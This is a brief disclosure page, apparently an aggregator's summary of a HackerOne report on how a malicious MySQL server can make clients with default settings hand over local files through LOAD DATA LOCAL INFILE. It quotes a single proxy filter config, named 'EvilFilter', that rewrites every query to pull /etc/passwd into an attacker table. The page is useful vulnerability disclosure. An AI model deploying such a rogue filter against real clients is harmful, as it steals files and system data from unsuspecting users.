Malicious Server can force read any file on clients system with default configuration in MySQL Clients
该报告还没有中文解读。
原文摘录
摘自原文(5450 字符中的一小部分)
Although it is [documented](http://dev.mysql.com/doc/refman/5.7/en/load-data-local.html) that the default binary distributions of MySQL/MariaDB/Percona all seem to be compiled with allow local infile enabled, the warning is misleading.
原文中的代码
[EvilFilter] type=filter module=regexfilter options=ignorecase match=.* replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot;
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @tarq · 版权归作者与 Internet Bug Bounty 所有